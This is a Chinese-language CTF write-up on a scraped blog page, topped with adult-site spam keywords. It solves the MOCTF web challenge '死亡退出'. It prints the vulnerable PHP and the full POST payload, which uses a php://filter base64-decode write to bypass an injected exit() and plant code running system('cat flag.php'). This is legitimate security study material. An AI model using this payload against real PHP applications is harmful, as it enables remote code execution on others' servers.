日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

MOCTF-Web-死亡退出

發布時間:2023/12/31 编程问答 40 豆豆
生活随笔 收集整理的這篇文章主要介紹了 MOCTF-Web-死亡退出 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1、題目:

2、傳送門:http://119.23.73.3:5003/

代碼:

<?phpshow_source(__FILE__);$c="<?php exit;?>"; //$c=一個退出的php代碼@$c.=$_POST['c']; //.=詳解見下方:$c=$c$_POST['c']->//$c=<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==@$filename=$_POST['file']; if(!isset($filename)) //如果$filename不存在,執行{}里的{ file_put_contents('tmp.php', ''); //將空寫入tmp.php} @file_put_contents($filename, $c); //將$c寫入$filenameinclude('tmp.php'); //包含tmp.php文件 ?>

注:
.=詳解

$a.='bbb' 如果$a的值是字符串a的話 那$a的值應該是'abbb',將a加到bbb的左邊 同理的操作符還有+=、-=、*=、/=

file_put_contents() 函數把一個字符串寫入文件中
file_put_contents(file,data,mode,context)

3、代碼分析:

  • 通過上傳字符串變量c,變量c連接<?php exit;?>破壞掉語句結構;同時變量c也需要寫入到變量filename這個文件中通過執行獲得flag。

  • 這里就需要用到php://filter偽協議流來進行繞過。使用base64解碼的一個漏洞(base64解碼不能解碼<、?、空格、?、;、>等這幾個字符),然后就只會解碼phpexit,但base64解碼是以4個為一組進行解碼的,phpexit只有7個,所以需要添加一個字符構成八個字符,才能正常解碼,這里隨便一個字符就行,然后再連接這里我們需要執行獲取flag的命令,所以$c的pyaload為:$c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==(a后面的數值進行base64解碼為<?php system('cat flag.php');?>base64加密之后的字符),最后$c的值為:<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

  • 然后就是利用php://filter偽協議了,file的payload為:file=php://filter/write=convert.base64-decode/resource=tmp.php

  • 最終的payload為:c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php

  • Payload帶入源碼:

<?phpshow_source(__FILE__);$c="<?php exit;?>";@$c.=$_POST['c']; //步驟見下一行注釋//$c=$c$_POST['c']->$c=<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==@$filename=$_POST['file']; //$filenmae=php://filter/write=convert.base64-decode/resource=tmp.phpif(!isset($filename)){ file_put_contents('tmp.php', '');} @file_put_contents($filename, $c);//$filename=$c=<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==include('tmp.php'); ?>

使用file=php://filter/write=convert.base64-decode/resource=tmp.php時,file的值<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==進行base64解碼時,刪除<、?、空格、?、;、>還剩52個字符,是phpexitaPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==,正好可以除以4,最后base64解碼后為:|{-ú<?php system('cat flag.php');?>,現在tmp.php中是|{-ú<?php system('cat flag.php');?>,所以可以執行里面的代碼,拿到flag

4、拿取flag

最查看源碼,得到flag:

創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎

總結

以上是生活随笔為你收集整理的MOCTF-Web-死亡退出的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。